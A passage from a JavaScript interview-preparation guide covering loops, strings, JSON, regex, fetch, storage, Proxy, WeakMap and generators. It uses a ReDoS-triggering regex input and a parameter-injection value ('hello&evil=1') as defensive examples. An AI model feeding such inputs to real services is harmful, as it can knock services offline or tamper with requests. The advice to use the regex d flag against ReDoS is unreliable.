for (const item of new Set([1, 2, 3])) console.log(item); // 1, 2, 3
The rule: Use for...of for arrays and iterables. Use for...in for plain objects when you explicitly want enumerable keys (or better, use Object.keys()/Object.entries()). Never use for...in on arrays.What interviewers are really testing: Do you know for...in includes inherited properties (the prototype pollution risk)? Do you know for...in gives string keys, not numbers?Follow-up questions:
  • “What is the performance difference between for, for...of, forEach, and for...in on arrays?” — Plain for loop is fastest (direct index access, no iterator overhead). for...of is ~10-20% slower (creates an iterator object). forEach is similar to for...of but cannot break/return. for...in is slowest on arrays (must enumerate all properties, check enumerability, convert keys to strings). For most code, readability matters more than the ~10% difference.
  • “How do you iterate over object key-value pairs with for...of?”for (const [key, value] of Object.entries(obj)). Plain objects are NOT iterable by default (no Symbol.iterator). Object.entries() returns an array of [key, value] pairs, which IS iterable.
Answer: ES6+ added several string methods that replace common regex patterns and manual substring operations.
const str = 'Hello, World!';

// Searching
str.includes('World');        // true (replaces indexOf !== -1)
str.startsWith('Hello');      // true
str.endsWith('!');            // true
str.includes('world');        // false (case-sensitive!)

// Padding (useful for formatting)
'5'.padStart(3, '0');         // '005'
'hi'.padEnd(10, '.');        // 'hi........'

// Trimming
'  hello  '.trim();           // 'hello'
'  hello  '.trimStart();      // 'hello  '
'  hello  '.trimEnd();        // '  hello'

// Repeating
'ab'.repeat(3);               // 'ababab'

// Replacing all occurrences (ES2021)
'aabbcc'.replaceAll('b', 'x'); // 'aaxxcc'
// Before: 'aabbcc'.replace(/b/g, 'x')

// at() for negative indexing (ES2022)
'hello'.at(-1);               // 'o'
'hello'.at(0);                // 'h'
What interviewers are really testing: Do you know includes replaces indexOf !== -1? Do you know replaceAll exists (vs regex with g flag)?Follow-up questions:
  • “How do you do case-insensitive includes?”str.toLowerCase().includes(search.toLowerCase()). There is no built-in option. For locale-aware comparison, use str.localeCompare(search, undefined, { sensitivity: 'accent' }) === 0, but this compares entire strings, not substrings. For full locale-aware substring search, use Intl.Collator with a manual scan.
  • “What is the difference between replaceAll and replace with a regex?”replaceAll works with plain strings (no regex needed) and throws if you pass a regex without the g flag (preventing a common bug). replace with a string only replaces the first occurrence.
Answer: JavaScript has both global and Number-static validation methods. The Number.* versions are stricter and safer.
// Global (legacy, coerces argument) vs Number.* (strict, no coercion)
isNaN('hello');        // true -- coerces 'hello' to NaN, then checks
Number.isNaN('hello'); // false -- 'hello' is not NaN, it is a string

isFinite('42');        // true -- coerces '42' to 42, then checks
Number.isFinite('42'); // false -- '42' is a string, not a number

// The validation toolkit
Number.isNaN(NaN);         // true
Number.isFinite(42);       // true (rejects NaN, Infinity, -Infinity, non-numbers)
Number.isInteger(42.0);    // true (42.0 === 42 in IEEE 754)
Number.isInteger(42.5);    // false
Number.isSafeInteger(2**53); // false (exceeds MAX_SAFE_INTEGER)

// Production pattern: validate numeric input
function parseNumericInput(input) {
    const num = Number(input);
    if (!Number.isFinite(num)) throw new Error('Invalid number');
    return num;
}
What interviewers are really testing: Do you know the difference between global isNaN and Number.isNaN? This is a quick but important distinction.Follow-up questions:
  • “Why is Number.isInteger(1.0) true?” — In IEEE 754, 1.0 and 1 have the same binary representation. There is no distinction between integer and float types in JavaScript — there is only Number. isInteger checks if the value has no fractional part: value === Math.floor(value).
  • “How would you validate that a user input is a valid positive integer for an API parameter?”const n = Number(input); if (!Number.isSafeInteger(n) || n <= 0) throw new Error('invalid'). isSafeInteger checks: is it a number, is it an integer, and is it within the safe range for precise arithmetic.
Answer: JSON.stringify and JSON.parse have several behaviors that cause production bugs if you do not know them. Understanding what survives serialization is critical for API communication, localStorage, and structured clone.
// What JSON.stringify DROPS silently:
JSON.stringify({
    fn: function() {},     // Omitted (functions)
    undef: undefined,      // Omitted (undefined)
    sym: Symbol('x'),      // Omitted (symbols)
    inf: Infinity,         // Becomes null
    nan: NaN,              // Becomes null
    date: new Date(),      // Becomes ISO string (not Date object on parse!)
    regex: /abc/g,         // Becomes {} (empty object!)
    map: new Map([[1,2]]), // Becomes {} (empty object!)
    set: new Set([1,2]),   // Becomes {} (empty object!)
    bigint: 42n,           // THROWS TypeError
});

// Custom serialization with toJSON
class User {
    constructor(name, password) {
        this.name = name;
        this.password = password;
    }
    toJSON() {
        return { name: this.name }; // Exclude password from serialization
    }
}
JSON.stringify(new User('Alice', 'secret')); // '{"name":"Alice"}'

// Custom replacer function
JSON.stringify(data, (key, value) => {
    if (key === 'password') return undefined; // Exclude
    if (typeof value === 'bigint') return value.toString(); // Convert
    return value;
});

// Custom reviver for parsing
JSON.parse(json, (key, value) => {
    // Restore Date objects from ISO strings
    if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) {
        return new Date(value);
    }
    return value;
});
What interviewers are really testing: Do you know what types survive JSON round-tripping? The Date becoming a string is a classic production bug. Also: knowing about toJSON, replacer, and reviver for custom serialization.Red flag answer: “I use JSON.parse(JSON.stringify(obj)) for deep cloning.” This drops functions, undefined, Dates, RegExps, Maps, Sets, and throws on BigInt and circular references. Use structuredClone instead.Follow-up questions:
  • “How do you handle circular references in JSON serialization?”JSON.stringify throws. Use a replacer that tracks seen objects: const seen = new Set(); JSON.stringify(obj, (k, v) => { if (typeof v === 'object' && v !== null) { if (seen.has(v)) return '[Circular]'; seen.add(v); } return v; }). Or use flatted npm package. structuredClone handles circular refs natively.
  • “What is superjson and when would you use it?”superjson preserves types that JSON drops: Dates, RegExps, Maps, Sets, BigInts, undefined, Infinity, and NaN. It serializes alongside a “meta” object describing the types. Use it for: tRPC communication, Next.js getServerSideProps, and any context where you need full type fidelity across serialization boundaries.
Answer: Regular expressions are a powerful but often misused tool. The key is knowing when regex is the right choice and when string methods suffice.
// Named groups (ES2018) -- makes regex readable
const dateRegex = /(?<year>\d{4})-(?<month>\d{2})-(?<day>\d{2})/;
const match = '2024-01-15'.match(dateRegex);
match.groups.year;  // '2024'
match.groups.month; // '01'

// Lookbehind and lookahead
/(?<=\$)\d+/.exec('Price: $42');  // ['42'] -- match digits after $
/\d+(?=px)/.exec('width: 100px'); // ['100'] -- match digits before px

// matchAll (ES2020) -- iterate all matches
const text = 'Call 555-1234 or 555-5678';
for (const match of text.matchAll(/(\d{3})-(\d{4})/g)) {
    console.log(match[0]); // '555-1234', then '555-5678'
}

// Common production patterns
const emailBasic = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; // Basic email validation
const urlParam = /[?&](\w+)=([^&]*)/g; // Extract URL params
const camelToKebab = str => str.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();
The ReDoS risk: Certain regex patterns with nested quantifiers can cause exponential backtracking. /(a+)+$/.test('aaaaaaaaaaaaaaaaab') takes seconds because the regex engine tries 2^n combinations. Use re2 (Google’s regex library) for untrusted input, or use the d flag and validate with timeouts.What interviewers are really testing: Can you read and write regex? Do you know named groups and matchAll? Senior candidates should mention ReDoS.Follow-up questions:
  • “When should you NOT use regex?” — For HTML/XML parsing (use a parser), for complex string validation (use a schema library like Zod), for anything that needs to count nesting depth (regex cannot match balanced parentheses in general — it is not a context-free language). Also: simple operations like includes, startsWith, endsWith are clearer and faster than equivalent regex.
  • “What is the v flag (unicodeSets) in modern regex?” — The /v flag (ES2024) enables set operations in character classes: [A-Z&&[^QZ]] (A-Z excluding Q and Z), [\p{Script=Greek}--[αβγ]] (Greek letters except alpha, beta, gamma). It replaces the u flag with better Unicode support and more powerful character class syntax.
Answer: Error handling in JavaScript goes beyond try/catch. Production systems need custom error types, async error patterns, and global error boundaries.
// Custom error classes (essential for large codebases)
class AppError extends Error {
    constructor(message, code, statusCode = 500) {
        super(message);
        this.name = 'AppError';
        this.code = code;
        this.statusCode = statusCode;
    }
}

class NotFoundError extends AppError {
    constructor(resource) {
        super(`${resource} not found`, 'NOT_FOUND', 404);
    }
}

// Usage in API handler
async function getUser(id) {
    const user = await db.findUser(id);
    if (!user) throw new NotFoundError('User');
    return user;
}

// Async error handling patterns
// Pattern 1: try/catch (most common)
try {
    const data = await fetchData();
} catch (err) {
    if (err instanceof NotFoundError) return res.status(404).json({ error: err.message });
    if (err.name === 'AbortError') return; // Cancelled, ignore
    throw err; // Re-throw unexpected errors
}

// Global error handlers
window.addEventListener('error', (event) => {
    reportToSentry(event.error); // Catch uncaught sync errors
});
window.addEventListener('unhandledrejection', (event) => {
    reportToSentry(event.reason); // Catch unhandled promise rejections
});
// Node.js
process.on('uncaughtException', (err) => { /* log and exit */ });
process.on('unhandledRejection', (reason) => { /* log and exit */ });
The finally guarantee: finally runs whether try succeeds or catch fires. Use it for cleanup (closing connections, clearing loading state). Important: finally runs even if there is a return in try or catch.What interviewers are really testing: Do you use custom error types? Do you handle async errors properly? Do you know about global error handlers?Red flag answer: catch (err) { console.log(err); } — swallowing errors silently is the #1 error handling anti-pattern.Follow-up questions:
  • “What is the Error.cause property (ES2022)?”throw new Error('High-level failure', { cause: originalError }). It chains errors while preserving the original. Logging error.cause shows the root cause. This replaces the awkward pattern of attaching originalError as a custom property.
  • “How does React’s Error Boundary work?” — A class component with componentDidCatch(error, info) or static getDerivedStateFromError(error). It catches errors during rendering, lifecycle methods, and constructors of its child tree. It does NOT catch: event handler errors, async errors, SSR errors, or errors in the boundary itself. Think of it as try/catch for the React rendering tree.
Answer: Both schedule callbacks, but they have critical behavioral differences that matter in production.The drift problem with setInterval:
// setInterval does not account for execution time
setInterval(() => {
    heavyOperation(); // Takes 300ms
}, 1000);
// Expected: run every 1000ms
// Actual: runs at 1000ms, 2000ms, 3000ms... BUT if heavyOperation
// takes 300ms, the intervals are measured from START to START,
// so the actual gap between end-of-execution and next start is 700ms.
// If heavyOperation takes >1000ms, executions stack up!

// Recursive setTimeout guarantees gap between executions
function scheduledTask() {
    heavyOperation(); // Takes 300ms
    setTimeout(scheduledTask, 1000);
    // Always waits 1000ms AFTER completion before running again
    // Actual cycle: 300ms work + 1000ms wait = 1300ms per cycle
}
Timer clamping and background throttling:
  • After 5 nested setTimeout calls, browsers enforce a minimum 4ms delay
  • Background tabs: setTimeout/setInterval clamped to ~1000ms minimum (saves battery)
  • requestAnimationFrame is paused entirely in background tabs
What interviewers are really testing: Do you know the execution-time drift problem? Do you know recursive setTimeout is preferred over setInterval for most use cases?Follow-up questions:
  • “How accurate are JavaScript timers?” — Not very. setTimeout(fn, 100) guarantees a MINIMUM of 100ms, not exactly 100ms. The actual delay depends on: event loop task queue depth, garbage collection pauses, and system load. For precise timing, use performance.now() to measure elapsed time and adjust: const drift = performance.now() - expectedTime; setTimeout(fn, interval - drift).
  • “What is queueMicrotask and when would you use it over setTimeout?”queueMicrotask(fn) runs before any timers or rendering (microtask queue). setTimeout(fn, 0) runs after rendering (macrotask queue). Use queueMicrotask for: scheduling work that must complete before the next render. Use setTimeout(fn, 0) when you intentionally want to yield to the browser for rendering between your tasks.
Answer: fetch is the modern HTTP client built into browsers. Understanding its quirks is essential — it has several behaviors that surprise developers coming from Axios or jQuery.
// THE gotcha: fetch does NOT reject on HTTP errors (404, 500)
const response = await fetch('/api/data');
// response.ok is false for 4xx/5xx, but NO error is thrown
if (!response.ok) {
    throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const data = await response.json();

// Production-ready fetch wrapper
async function apiFetch(url, options = {}) {
    const controller = new AbortController();
    const timeout = setTimeout(() => controller.abort(), options.timeout || 10000);

    try {
        const response = await fetch(url, {
            ...options,
            signal: controller.signal,
            headers: {
                'Content-Type': 'application/json',
                ...options.headers,
            },
        });

        if (!response.ok) {
            const body = await response.text();
            throw new Error(`HTTP ${response.status}: ${body}`);
        }

        return await response.json();
    } finally {
        clearTimeout(timeout);
    }
}

// Retry with exponential backoff
async function fetchWithRetry(url, retries = 3) {
    for (let i = 0; i < retries; i++) {
        try {
            return await apiFetch(url);
        } catch (err) {
            if (i === retries - 1) throw err;
            await new Promise(r => setTimeout(r, 2 ** i * 1000)); // 1s, 2s, 4s
        }
    }
}
Fetch vs Axios: Fetch is built-in (no bundle size), but: no automatic JSON parsing, no HTTP error rejection, no request/response interceptors, no built-in timeout, no request cancellation (before AbortController). Axios provides all of these out of the box. Choose fetch + a thin wrapper for small apps, Axios for large apps with complex API needs.What interviewers are really testing: Do you know fetch does not throw on 404/500? Can you build a production-ready wrapper with timeout, error handling, and retry?Red flag answer: const data = await fetch(url).then(r => r.json()) — this ignores HTTP errors entirely. A 404 response will try to JSON-parse the error page.Follow-up questions:
  • “How do you stream a large response with fetch?” — Use response.body (a ReadableStream): const reader = response.body.getReader(); while (true) { const { done, value } = await reader.read(); if (done) break; processChunk(value); }. This is how you implement progress indicators for large downloads or process NDJSON streams line by line.
  • “What are the credentials options and when do you need them?”'same-origin' (default): send cookies only to same origin. 'include': send cookies cross-origin (requires CORS Access-Control-Allow-Credentials: true). 'omit': never send cookies. Use 'include' for cross-origin API calls that need auth cookies.
Answer: FormData is the browser API for building multipart/form-data payloads, primarily used for file uploads. When you pass a FormData object as fetch’s body, the browser automatically sets the correct Content-Type header with the multipart boundary — do NOT set Content-Type manually.
// File upload
const formData = new FormData();
formData.append('username', 'alice');
formData.append('avatar', fileInput.files[0]); // File object

fetch('/api/upload', {
    method: 'POST',
    body: formData,
    // Do NOT set Content-Type header -- browser sets it with boundary
});

// Build from existing form element
const form = document.querySelector('form');
const formData = new FormData(form); // Captures all named inputs
formData.append('extra', 'data'); // Add additional fields

// Inspection
for (const [key, value] of formData.entries()) {
    console.log(key, value instanceof File ? `File: ${value.name}` : value);
}
The common mistake: Setting Content-Type: 'multipart/form-data' manually strips the boundary string that the browser needs to add. Let the browser handle it.What interviewers are really testing: Do you know NOT to set the Content-Type header with FormData? Can you handle file uploads?Follow-up questions:
  • “How do you upload multiple files?” — Call formData.append('files', file) multiple times with the same key. The server receives an array. Or use formData.append('file1', files[0]); formData.append('file2', files[1]) for named files.
  • “How do you track upload progress with fetch?” — Unfortunately, fetch does not natively support upload progress. Use XMLHttpRequest with xhr.upload.onprogress for progress events. Alternatively, use a chunked upload approach where you upload slices of the file and track progress client-side.
Answer: The URL and URLSearchParams APIs provide structured, safe URL manipulation — replacing error-prone string concatenation and manual encoding.
// Parse URL into components
const url = new URL('https://example.com:8080/path?name=alice&age=30#section');
url.protocol;   // 'https:'
url.hostname;   // 'example.com'
url.port;       // '8080'
url.pathname;   // '/path'
url.search;     // '?name=alice&age=30'
url.hash;       // '#section'

// Manipulate search params safely
const params = url.searchParams;
params.get('name');        // 'alice'
params.set('age', 31);     // Updates existing
params.append('tag', 'js'); // Adds (allows duplicates)
params.delete('name');
params.has('age');          // true
url.toString();             // Full URL with updated params

// Build URL from scratch (safe encoding)
const apiUrl = new URL('/api/search', 'https://api.example.com');
apiUrl.searchParams.set('q', 'hello world & more');
apiUrl.toString(); // 'https://api.example.com/api/search?q=hello+world+%26+more'
// Special characters are automatically encoded
Why this is better than string concatenation: `/api?q=${query}` does not encode special characters. If query is "hello&evil=1", you get param injection. URLSearchParams auto-encodes.What interviewers are really testing: Do you know URLSearchParams handles encoding automatically? Do you use structured URL manipulation instead of string concatenation?Follow-up questions:
  • “What is the difference between encodeURIComponent and URLSearchParams encoding?”URLSearchParams encodes spaces as + (application/x-www-form-urlencoded standard). encodeURIComponent encodes spaces as %20. Both are valid but produce different strings. Use URLSearchParams for query strings, encodeURIComponent for URL path segments.
Answer: Blob (Binary Large Object) represents immutable raw binary data. File extends Blob with a name and modification date. Together they handle binary data operations: file downloads, uploads, image manipulation, and data URIs.
// Create a Blob programmatically
const jsonBlob = new Blob([JSON.stringify({ key: 'value' })], { type: 'application/json' });
const textBlob = new Blob(['Hello, World!'], { type: 'text/plain' });

// Trigger file download
function downloadBlob(blob, filename) {
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = filename;
    a.click();
    URL.revokeObjectURL(url); // Free memory!
}
downloadBlob(jsonBlob, 'data.json');

// Read file content
async function readFile(file) {
    return new Response(file).text(); // Modern approach
    // Or: new FileReader() (older API)
}

// Slice large files for chunked upload
const CHUNK_SIZE = 5 * 1024 * 1024; // 5MB
for (let offset = 0; offset < file.size; offset += CHUNK_SIZE) {
    const chunk = file.slice(offset, offset + CHUNK_SIZE);
    await uploadChunk(chunk, offset);
}
Memory management: URL.createObjectURL() creates a reference that stays in memory until the page unloads or you call URL.revokeObjectURL(). Forgetting to revoke causes memory leaks, especially in apps that generate many blob URLs (image editors, file managers).What interviewers are really testing: Do you know to revoke object URLs? Can you handle file operations (download, upload, chunking)?Follow-up questions:
  • “How do you convert between Blob, ArrayBuffer, and Base64?”Blob to ArrayBuffer: await blob.arrayBuffer(). ArrayBuffer to Blob: new Blob([arrayBuffer]). Blob to Base64: const reader = new FileReader(); reader.readAsDataURL(blob). Or modern: const base64 = btoa(String.fromCharCode(...new Uint8Array(await blob.arrayBuffer()))).
  • “When would you use Blob URLs vs Data URIs?” — Blob URLs (blob:...) are references to in-memory data (fast, no size limit, but same-origin only). Data URIs (data:...) encode the data inline as base64 (33% larger, works cross-origin, no revocation needed). Use Blob URLs for large files (images, videos), Data URIs for small inline data (icons, thumbnails under 10KB).
Answer: The Canvas API provides 2D (and via WebGL, 3D) drawing capabilities. It renders to a bitmap — once drawn, individual shapes cannot be modified (unlike SVG’s retained-mode DOM). This makes it fast for complex graphics but requires full redraws for animations.
const canvas = document.querySelector('canvas');
const ctx = canvas.getContext('2d');

// Basic shapes
ctx.fillStyle = '#3498db';
ctx.fillRect(10, 10, 200, 100);

ctx.beginPath();
ctx.arc(200, 200, 50, 0, Math.PI * 2);
ctx.fillStyle = '#e74c3c';
ctx.fill();

// Text
ctx.font = '24px sans-serif';
ctx.fillText('Hello Canvas', 50, 300);

// Image manipulation (the real power)
const img = new Image();
img.onload = () => {
    ctx.drawImage(img, 0, 0);
    const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
    // imageData.data is a Uint8ClampedArray of RGBA pixels
    // Manipulate pixels directly for filters, effects, etc.
    for (let i = 0; i < imageData.data.length; i += 4) {
        const gray = imageData.data[i] * 0.3 + imageData.data[i+1] * 0.59 + imageData.data[i+2] * 0.11;
        imageData.data[i] = imageData.data[i+1] = imageData.data[i+2] = gray; // Grayscale
    }
    ctx.putImageData(imageData, 0, 0);
};
img.src = 'photo.jpg';

// Export
canvas.toDataURL('image/png'); // Base64 string
canvas.toBlob(blob => uploadBlob(blob)); // Blob for upload
Canvas vs SVG: Canvas is immediate-mode (draw and forget, pixel-based). SVG is retained-mode (DOM nodes, scalable, event-handleable). Use Canvas for: games, image processing, data visualization with thousands of elements. Use SVG for: interactive charts, icons, animations with few elements.What interviewers are really testing: Do you know the pixel manipulation API? Can you explain Canvas vs SVG tradeoffs?Follow-up questions:
  • “How do you make Canvas animations smooth?” — Use requestAnimationFrame for the animation loop. Clear the canvas each frame (ctx.clearRect(0, 0, w, h)), then redraw. For complex scenes, use double buffering: draw to an offscreen canvas, then copy to the visible canvas in one operation. Use OffscreenCanvas in a Web Worker for heavy rendering without blocking the UI.
  • “What is OffscreenCanvas?” — A canvas that can be used in Web Workers (no DOM dependency). Transfer the canvas to a worker with canvas.transferControlToOffscreen(), then the worker handles all rendering. The main thread stays free for UI. Used by: Figma, Google Maps, and any app with heavy canvas rendering.
Answer: Covered in depth in Question 20 (LocalStorage vs SessionStorage vs Cookies). Additional advanced storage options:IndexedDB — The serious client-side database:
// IndexedDB: async, transactional, stores structured data (objects, files, blobs)
// Capacity: 50MB+ (browser asks for permission for larger)
const request = indexedDB.open('myDB', 1);
request.onupgradeneeded = (e) => {
    const db = e.target.result;
    db.createObjectStore('users', { keyPath: 'id' });
};
request.onsuccess = (e) => {
    const db = e.target.result;
    const tx = db.transaction('users', 'readwrite');
    tx.objectStore('users').put({ id: 1, name: 'Alice' });
};
// Use wrapper libraries: Dexie.js, idb (by Jake Archibald)
Cache API — For HTTP responses (used with Service Workers):
const cache = await caches.open('v1');
await cache.put('/api/data', new Response(JSON.stringify(data)));
const cached = await cache.match('/api/data');
The storage hierarchy:
  • Cookies (4KB): auth tokens, server-readable preferences
  • SessionStorage (5MB): per-tab temporary state
  • LocalStorage (5-10MB): persistent user preferences, small caches
  • IndexedDB (50MB+): offline data, large structured storage
  • Cache API: HTTP response caching for PWAs
  • OPFS (Origin Private File System): high-performance file access (new)
What interviewers are really testing: Do you know when to use each storage mechanism? Senior candidates should mention IndexedDB for offline-capable apps and know about the Cache API.Follow-up questions:
  • “How do you handle storage quota limits?” — Use navigator.storage.estimate() to check available space. Implement eviction policies (LRU for IndexedDB, versioned caches for Cache API). Request persistent storage with navigator.storage.persist() to prevent the browser from evicting your data under storage pressure.
  • “What is OPFS (Origin Private File System)?” — A new API that provides a sandboxed file system per origin. Unlike IndexedDB, it offers synchronous file access in Web Workers (via createSyncAccessHandle), making it ideal for: SQLite-in-browser (the official SQLite Wasm build uses OPFS), file editors, and any app that needs fast random-access file I/O.

10. Advanced JavaScript Patterns

Answer: Covered in depth in Question 26. Here are the additional traps beyond get/set that enable advanced metaprogramming:
const handler = {
    // Property access and mutation
    get(target, prop, receiver) { return Reflect.get(target, prop, receiver); },
    set(target, prop, value, receiver) { return Reflect.set(target, prop, value, receiver); },
    deleteProperty(target, prop) { return Reflect.deleteProperty(target, prop); },
    has(target, prop) { return Reflect.has(target, prop); }, // 'prop' in proxy

    // Object introspection
    ownKeys(target) { return Reflect.ownKeys(target); }, // Object.keys, for...in
    getOwnPropertyDescriptor(target, prop) { return Reflect.getOwnPropertyDescriptor(target, prop); },

    // Function calls (if target is a function)
    apply(target, thisArg, args) { return Reflect.apply(target, thisArg, args); },
    construct(target, args) { return Reflect.construct(target, args); }, // new proxy()

    // Extensibility
    preventExtensions(target) { return Reflect.preventExtensions(target); },
    defineProperty(target, prop, desc) { return Reflect.defineProperty(target, prop, desc); },
    getPrototypeOf(target) { return Reflect.getPrototypeOf(target); },
    setPrototypeOf(target, proto) { return Reflect.setPrototypeOf(target, proto); },
    isExtensible(target) { return Reflect.isExtensible(target); },
};
Production pattern: negative array indexing:
function negativeArray(arr) {
    return new Proxy(arr, {
        get(target, prop, receiver) {
            const index = Number(prop);
            if (Number.isInteger(index) && index < 0) {
                return target[target.length + index];
            }
            return Reflect.get(target, prop, receiver);
        }
    });
}
const arr = negativeArray([1, 2, 3, 4, 5]);
arr[-1]; // 5
arr[-2]; // 4
What interviewers are really testing: Do you know traps beyond get/set? Can you explain a practical use case? Staff-level candidates should discuss Proxy invariants (the engine-enforced rules that prevent traps from lying about non-configurable properties) and the performance implications of wrapping hot-path objects in Proxies.Red flag answer: “Proxies can intercept everything.” They cannot intercept === comparison, typeof, or operations on primitive values. Proxy traps only fire on object-level operations. Also: using Proxies in hot loops without understanding the 2-5x performance overhead per operation.Follow-up questions:
  • “What are Proxy invariants and when do they throw?” — Proxies have consistency rules enforced by the engine. For example: if the target property is non-configurable and non-writable, the get trap MUST return the actual value (cannot lie). If Object.isExtensible(target) is false, ownKeys must return exactly the target’s own keys. The has trap cannot hide a non-configurable own property. These invariants prevent Proxies from breaking the object model’s guarantees. Violating them throws TypeError — I have seen this crash Vue 3 apps when developers freeze reactive objects.
  • “How would you use the apply trap to create a logging decorator?”const logged = new Proxy(fn, { apply(target, thisArg, args) { console.log('Called with', args); const result = Reflect.apply(target, thisArg, args); console.log('Returned', result); return result; } }). This intercepts all function calls transparently. In production, we used this pattern to add automatic timing to all database query functions: the apply trap measured execution time and sent metrics to Datadog.
  • “How do you Proxy a class constructor?” — Use the construct trap: new Proxy(MyClass, { construct(target, args) { console.log('Creating instance with', args); return Reflect.construct(target, args); } }). This intercepts new MyClass(...) calls. Real use case: dependency injection containers that intercept constructor calls to inject dependencies automatically.
Answer: Covered in depth in Question 10 and 49. Additional advanced patterns:
// DOM node metadata without memory leaks
const clickCounts = new WeakMap();

document.addEventListener('click', (e) => {
    const count = (clickCounts.get(e.target) || 0) + 1;
    clickCounts.set(e.target, count);
    // When the DOM element is removed and GC'd, the count is cleaned up
});

// WeakSet: "have I seen this object before?"
const processed = new WeakSet();

function processOnce(obj) {
    if (processed.has(obj)) return; // Already handled
    processed.add(obj);
    // ... expensive processing
    // When obj is GC'd, it is automatically removed from the Set
}

// Cycle detection in graph traversal
function detectCycle(obj, visited = new WeakSet()) {
    if (typeof obj !== 'object' || obj === null) return false;
    if (visited.has(obj)) return true; // Cycle!
    visited.add(obj);
    return Object.values(obj).some(val => detectCycle(val, visited));
}
What interviewers are really testing: Can you give a use case where Map/Set would leak but WeakMap/WeakSet would not? Senior candidates should articulate the exact GC behavior difference and explain why WeakSet is preferable for “have I seen this?” tracking in long-running applications.Red flag answer: “WeakMap is slower than Map so I avoid it.” The performance difference is negligible (~5-10% on get/set operations). The memory savings from automatic cleanup far outweigh the minor overhead. Also: using Map where WeakMap would be correct, then wondering why your Node.js server’s RSS grows by 500MB over 24 hours.Follow-up questions:
  • “Why is WeakRef + FinalizationRegistry needed if we have WeakMap?”WeakMap ties the lifetime of a value to its key. WeakRef lets you hold a reference to ANY object without preventing its GC — you can check if it is still alive via deref(). Use case: a cache where you want to return the original object if it still exists, but not prevent its collection. FinalizationRegistry is the companion that lets you run cleanup code when the object is finally collected — for example, removing a cache key from a regular Map when the associated data object is GC’d.
  • “In a real SPA, where would you use WeakMap vs Map?” — Use WeakMap for: associating metadata with component instances (React refs, animation state), caching computed values tied to DOM elements (layout measurements), and tracking object relationships where you do not control the object lifecycle. Use Map for: application-level caches with explicit eviction (LRU), lookup tables that persist for the app lifetime, and any case where you need iteration or .size.
  • “What is the gotcha with WeakMap and primitives?” — WeakMap keys must be objects (or non-registered Symbols since ES2023). weakMap.set('string', value) throws TypeError. This is because primitives are not garbage-collected — they are copied by value, so there is no “object lifetime” to track. If you need weak associations with string keys, you must wrap them in objects or use a different data structure.
Answer: The iteration protocol is how for...of, spread, destructuring, Array.from, and Promise.all know how to iterate over your custom objects. Implementing Symbol.iterator makes any object work with all these constructs.
// Iterable protocol: object must have [Symbol.iterator] method
// Iterator protocol: the method must return { next() { return { value, done } } }

class LinkedList {
    constructor() { this.head = null; }

    add(value) {
        this.head = { value, next: this.head };
        return this;
    }

    [Symbol.iterator]() {
        let current = this.head;
        return {
            next() {
                if (current === null) return { done: true };
                const value = current.value;
                current = current.next;
                return { value, done: false };
            }
        };
    }
}

const list = new LinkedList().add(3).add(2).add(1);
[...list];                    // [1, 2, 3]
for (const val of list) {}    // Works
const [first, second] = list; // Works
Array.from(list);             // Works
The iterable/iterator distinction: An iterable is an object with [Symbol.iterator](). An iterator is an object with next(). Often the same object is both (the iterator returns this from [Symbol.iterator]()). Keeping them separate allows multiple independent iterations over the same collection.What interviewers are really testing: Can you implement the iteration protocol from scratch? Do you understand why it enables all built-in language constructs that work with collections?Follow-up questions:
  • “What is the difference between an iterable and an iterator?” — An iterable is a factory: it creates iterators. [Symbol.iterator]() returns a fresh iterator each time. An iterator is stateful: it tracks the current position. Arrays are iterables; calling arr[Symbol.iterator]() returns a new iterator. If you iterate twice with for...of, each loop gets its own iterator. If the iterable returns this as the iterator, you can only iterate once.
  • “How do you make an object both iterable and async-iterable?” — Implement both [Symbol.iterator] for sync iteration and [Symbol.asyncIterator] for async iteration. for...of uses the sync version, for await...of uses the async version. Readable streams implement Symbol.asyncIterator natively.
Answer: yield* delegates iteration to another iterable (generator, array, string, etc.). It is the composition mechanism for generators — you can build complex iterators from simple ones.
// Recursive tree traversal with yield*
function* traverse(node) {
    yield node.value;
    for (const child of node.children) {
        yield* traverse(child); // Delegate to recursive call
    }
}

const tree = {
    value: 1,
    children: [
        { value: 2, children: [{ value: 4, children: [] }] },
        { value: 3, children: [] },
    ]
};
[...traverse(tree)]; // [1, 2, 4, 3]

// Composing generators
function* letters() { yield* 'abc'; } // Delegates to string iterator
function* digits() { yield* [1, 2, 3]; } // Delegates to array iterator
function* combined() {
    yield* letters();
    yield* digits();
}
[...combined()]; // ['a', 'b', 'c', 1, 2, 3]
The return value of yield*: yield* returns whatever the delegated generator returns (from its return statement). This enables inter-generator communication: function* inner() { return 'done'; } function* outer() { const result = yield* inner(); console.log(result); // 'done' }.What interviewers are really testing: Do you understand generator composition? Can you use yield* for recursive tree traversal?Follow-up questions:
  • “How does yield* handle throw and return on the delegated generator?” — If the outer consumer calls gen.throw(err), the error is forwarded to the delegated generator. If the delegated generator catches it, execution continues. If not, it propagates back. Similarly, gen.return(val) calls return(val) on the delegated generator. This enables proper cleanup in composed generators.
Answer: Async generators combine generators with async/await, enabling lazy asynchronous iteration. They are the right tool for processing data streams, paginated APIs, and real-time feeds.
// Paginated API consumer
async function* fetchAllPages(baseUrl) {
    let nextUrl = baseUrl;
    while (nextUrl) {
        const response = await fetch(nextUrl);
        const data = await response.json();
        yield* data.items; // Yield each item individually
        nextUrl = data.nextPageUrl; // null when done
    }
}

// Process all items without loading everything into memory
for await (const item of fetchAllPages('/api/users')) {
    processUser(item);
}

// Server-Sent Events as async iterable
async function* sseStream(url) {
    const response = await fetch(url);
    const reader = response.body.getReader();
    const decoder = new TextDecoder();
    let buffer = '';

    while (true) {
        const { done, value } = await reader.read();
        if (done) break;
        buffer += decoder.decode(value, { stream: true });
        const lines = buffer.split('\n\n');
        buffer = lines.pop(); // Keep incomplete chunk
        for (const line of lines) {
            if (line.startsWith('data: ')) {
                yield JSON.parse(line.slice(6));
            }
        }
    }
}

for await (const event of sseStream('/api/stream')) {
    updateDashboard(event);
}
What interviewers are really testing: Do you know how to process streaming data lazily? Can you build a paginated API consumer that does not load everything into memory?Follow-up questions:
  • “How do you handle errors and cleanup in for await...of?” — Wrap in try/catch: try { for await (const item of stream) { ... } } catch (err) { handle(err); } finally { cleanup(); }. If you break out of the loop, the generator’s return() method is called, running any finally blocks inside the generator. This ensures proper resource cleanup.
